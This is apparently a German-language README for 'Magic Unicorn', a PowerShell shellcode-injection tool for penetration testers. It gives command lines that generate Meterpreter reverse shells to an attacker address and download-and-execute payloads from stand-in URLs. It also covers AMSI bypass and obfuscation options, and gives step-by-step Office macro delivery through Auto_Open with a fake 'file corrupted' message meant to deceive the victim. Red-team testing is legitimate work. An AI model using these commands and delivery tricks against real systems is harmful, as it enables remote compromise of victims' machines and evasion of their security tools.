
Unicorn ist ein einfaches Werkzeug, um einen PowerShell-Downgrade-Angriff durchzuführen und Shellcode direkt in den Speicher zu injizieren. Basierend auf Matthew Graebers PowerShell-Angriffen und der PowerShell-Bypass-Technik, die von David Kennedy (TrustedSec) und Josh Kelly auf der Defcon 18 vorgestellt wurde.
Geschrieben von: Dave Kennedy (@HackingDave) Website: https://www.trustedsec.com
Magic Unicorn ist ein einfaches Tool zur Nutzung eines PowerShell-Downgrade-Angriffs und zum direkten Injizieren von Shellcode in den Speicher. Basierend auf Matthew Graebers PowerShell-Angriffen und der PowerShell-Bypass-Technik, die David Kennedy (TrustedSec) und Josh Kelly auf der Defcon 18 vorgestellt haben.
Die Anwendung ist einfach: Führen Sie einfach Magic Unicorn aus (stellen Sie sicher, dass Metasploit installiert ist, wenn Sie Metasploit-Methoden verwenden, und dass es sich im richtigen Pfad befindet), und Magic Unicorn generiert automatisch einen PowerShell-Befehl, den Sie einfach in ein Befehlszeilenfenster oder über ein Payload-Delivery-System einfügen müssen. Unicorn unterstützt Ihren eigenen Shellcode, Cobalt Strike und Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
PowerShell shellcode injection for x86 and x64 targets.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt> <generator options>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Unicorn gibt nun einen einzigen untergeordneten PowerShell-Befehl aus. Mit --amsi inline laufen der AMSI-Patch und der Shellcode-Loader
im selben untergeordneten Prozess. Mit --amsi off lässt Unicorn die AMSI-Stufe aus.
Verwenden Sie --profile cmd für einen Befehlskontext von 8191 Zeichen. Verwenden Sie --profile powershell für einen
Kontext von 32767 Zeichen. Unicorn lehnt eine Ausgabe ab, die das ausgewählte Limit überschreitet.
Verwenden Sie --arch x86 oder --arch x64, um die Architektur der untergeordneten PowerShell auszuwählen. Stellen Sie Shellcode bereit, der
zu dieser Architektur passt. Der Standard ist x86.
Verwenden Sie --obfuscation minimal|moderate|high, um eine begrenzte, semantikerhaltende Variante auszuwählen. Das
Manifest zeichnet die exakt verwendeten Transformationen auf.
Verwenden Sie --seed <value>, um eine generierte Variante zu reproduzieren. Jeder Lauf schreibt unicorn_manifest.json mit dem
Seed, der Architektur, dem AMSI-Modus, den Befehlsängen, den APIs und dem SHA-256 des Quell-Shellcodes.
Die Loader-Variante verwendet entweder eine memset-Byte-Copy-Schleife oder Marshal.Copy; die ausgewählte API wird
im Manifest aufgezeichnet.
Bei Shellcode-Angriffen zeichnet das Manifest außerdem das ausgewählte Obfuskationsprofil und dessen
Transformationen auf.
Alles wird nun in powershell_attack.txt, unicorn.rc bei Verwendung von Metasploit und
unicorn_manifest.json generiert. Die Textdatei enthält den Code, der benötigt wird, um den PowerShell-Angriff in
den Speicher zu injizieren. Sie benötigen einen Ort, der Remote-Befehlsausführung unterstützt. Verwenden Sie --profile cmd für einen Befehlskontext von 8191 Zeichen.
Dieser Angriff unterstützt auch windows/download_exec. Bei Verwendung von Download und Ausführen führen Sie
python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe aus.
Beachten Sie, dass Sie einen Listener aktiviert haben müssen, um den Angriff abzufangen.
Für den Makro-Angriff müssen Sie zu Datei, Eigenschaften, Menüband gehen und Entwickler auswählen. Sobald Sie das getan haben, haben Sie eine Entwickler-Registerkarte. Erstellen Sie ein neues Makro, nennen Sie es Auto_Open und fügen Sie den generierten Code dort ein. Dieses wird automatisch ausgeführt. Beachten Sie, dass eine Meldung den Benutzer darauf hinweist, dass die Datei beschädigt ist, und das Excel-Dokument automatisch schließt. DIES IST NORMALES VERHALTEN! Dies ist ein Trick, um das Opfer glauben zu lassen, das Excel-Dokument sei beschädigt. Sie sollten danach eine Shell durch PowerShell-Injection erhalten.
Wenn Sie dies gegen Office365/2016+-Versionen von Word einsetzen, müssen Sie die erste Zeile der Ausgabe ändern von: Sub Auto_Open()
Zu: Sub AutoOpen()
Der Name des Makros selbst muss ebenfalls "AutoOpen" statt des alten Namensschemas "Auto_Open" lauten.